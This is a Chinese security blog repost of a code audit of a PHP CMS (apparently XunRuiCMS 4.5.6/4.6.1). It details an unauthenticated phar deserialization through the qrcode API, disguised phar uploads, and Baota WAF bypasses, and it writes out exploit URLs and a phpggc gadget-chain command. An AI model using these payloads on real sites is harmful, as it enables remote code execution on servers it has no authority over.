实战某凤网站导致的代码审计

admin 2025年7月2日19:55:12评论40 views字数 2972阅读9分54秒阅读模式

0.前言 

这篇文章很早就写了,因为涉及0day不想影响太大,于是就想等作者修了再发。现在漏洞已经公开了,作者也修了,就发出来吧。

https://xz.aliyun.com/news/18215

1.前台phar反序列化(4.5.6/4.6.1) 

404页面即暴露了cms版本号,比较新(4.5.6),离当时的最新版(4.6.1)最差一个版本号。但官方不提供旧版下载,在别的地方找到了进行代码审计。

只测试了这两个版本,很快便发现了存在未授权phar://反序列化漏洞。

/dayrui/Fcms/Control/Api/Api.php

实战某凤网站导致的代码审计

前面的if看起来试图校验$thumb必须符合http(s)前缀,但显然$thumb没法同时满足三个条件,进不去exit(),所以这个校验根本没用。

/index.php?s=api&c=api&m=qrcode&thumb=https://www.baidu.com/img/flexible/logo/pc/result.png&text=12345&size=5&level=H

该功能本意是提供一个远程加载头像并合成二维码图片的功能,无论成功与否都会在cache/file目录生成一个二维码图片。

实战某凤网站导致的代码审计

通过代码可得知,第一次请求会走到getimagesize()中,提供了phar://的入口,但第二次如果访问同样的url,就会直接返回cache/file/qrcode-xxx-qrcode.png。这个时候每次访问都可以加点不干扰代码运行的东西,比如phar://1.phar/qqq,http://x.com/?xxx=xxx,file:///tmp//////xxx//////xxx,以保证getimagesize()的执行。

我们本地搭好同版本环境,在根目录放入一个phar。这套cms最新版有三种内核Codeigniter/Laravel/ThinkPHP,默认是Codeigniter,且旧版也只有Codeigniter,因此生成payload。

php phpggc CodeIgniter4/RCE2 phpinfo 1 -p phar -o 1.phar
实战某凤网站导致的代码审计

但这套cms已经开始推荐php8.0,8.0开始不支持phar反序列化,默认情况下/test.php可以看到php版本。

发布文章的时候4.7.0已修复

实战某凤网站导致的代码审计

2.文件上传(4.5.6/4.6.1)

有了phar://自然要找一个上传点,qrcode功能虽然也能生成文件,但文件内容不受控制。该cms核心上传功能位于/dayrui/Fcms/Control/Api/File.php中。

/index.php?is_iframe=1&s=api&c=file&m=input_file_list&fid=2&is_wm=&ct=1&pp=2

实战某凤网站导致的代码审计

此接口校验了会员权限,不过刚好目标是开放会员且开放文件上传权限的。

实战某凤网站导致的代码审计

首先是传统的upload()

其主要有三种防护,一是后缀白名单,只允许gif/jpg/jpeg/png/webp

实战某凤网站导致的代码审计

二是文件头检测,用图片马或者经典的GIF89au即可。

三是文件内容检测,用不含<?php的php文件绕过即可。这个后台有个开关,也就是宽松模式,设置了这个内容检测就不生效了。

实战某凤网站导致的代码审计

那么我们能够构造出符合条件的phar文件吗?当然可以,phar文件本身就对脏数据有着极高的兼容性。手动修改phar文件只需修复签名即可生效,见下面这篇文章。

https://forum.butian.net/share/1917

还有<?php __HALT_COMPILER(); ?>的问题呢?事实上php在加载phar文件时仅检测__HALT_COMPILER(); ?>,也就是说只需要这样即可完成反序列化。

实战某凤网站导致的代码审计

除了upload()之外,还有upload_base64_image(),拥有着差不多的过滤规则,这里不赘述。

3.绕过宝塔

回过头来,我们完成了phar的整个利用流程,然而目标上有着版本较新的宝塔需要绕过。

第一是<?php __HALT_COMPILER(); ?>中含有的<?php宝塔同样会拦截,不过我们已经搞定了。

第二就是thumb=phar://1.phar的phar:/宝塔会拦截,绕宝塔的一些方法只存在POST中。这个由于在get中,几乎避无可避,只能正面应对。

常用的大小写肯定是不行的,但我们注意到在代码中,自作多情的替thumb参数做了一次url解码。

$thumb = urldecode(PhpcmfService::L('input')->get('thumb'));

那么这里可以用二次url编码的方式尝试绕过。

/index.php?s=api&c=api&m=qrcode&thumb=phar:%252f/uploadfile/202306/0621bca061e768.gif&text=12345&size=5&level=H

但这样就想过也太小瞧宝塔了,一次url编码是无用功,二次url编码对于绕过宝塔这样强壮的waf还是不够用,我们需要三次url编码。

如何做到三次url编码呢?phar反序列化和远程文件下载,同时也都是SSRF,这意味着我们可以利用SSRF来进行多次url编码达到自己的请求不被拦截的目的。

也就是下面这个payload。

http://x.com/index.php?s=api&c=api&m=qrcode&text=12345&size=5&level=H&thumb=http://x.com/index.php?s=api%26c=api%26m=qrcode%26text=12345%26size=5%26level=H%26thumb=phar:%25252F/uploadfile///202306/0621bca061e768.gif

实战某凤网站导致的代码审计

当然,payload不能是phpinfo了,换成system('calc');更加直观。

光这样还是不行,因为虽然我们请求服务器是三次url编码不会被宝塔拦截,但服务器自己请求自己是二次url编码还是会被拦截。

但如果对方同时在宝塔配置了域名绑定127.0.0.1的某个端口。当服务器自己请求127.0.0.1时,即使是攻击行为,宝塔也不会管

不过可惜的是,宝塔的127.0.0.1:80一般绑定的是/www/wwwroot/default/目录,使用宝塔正常配置基本上不会存在访问127.0.0.1:80和x.com一样的情况。

实战某凤网站导致的代码审计

还有没有其他办法呢?除了urldecode我们还注意到,它使用了自定义的get方法,追踪后发现,有个XSS过滤器。

实战某凤网站导致的代码审计

/dayrui/Fcms/Library/Security.php

在这个xss_clean中,发现了大量花里胡哨的过滤,在最后惊喜的发现它居然将很多不可见字符都替换为空了。

实战某凤网站导致的代码审计

那么随便使用%00等就能轻松的打乱宝塔对phar:/的关键字检测,达到绕过目的。

/index.php?s=api&c=api&m=qrcode&thumb=ph%00ar://uploadfile///202306/0621bca061e768.gif&text=12345&size=5&level=H

实战某凤网站导致的代码审计

原文始发于微信公众号(实战安全研究):实战某凤网站导致的代码审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月2日19:55:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战某凤网站导致的代码审计https://cn-sec.com/archives/4217261.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息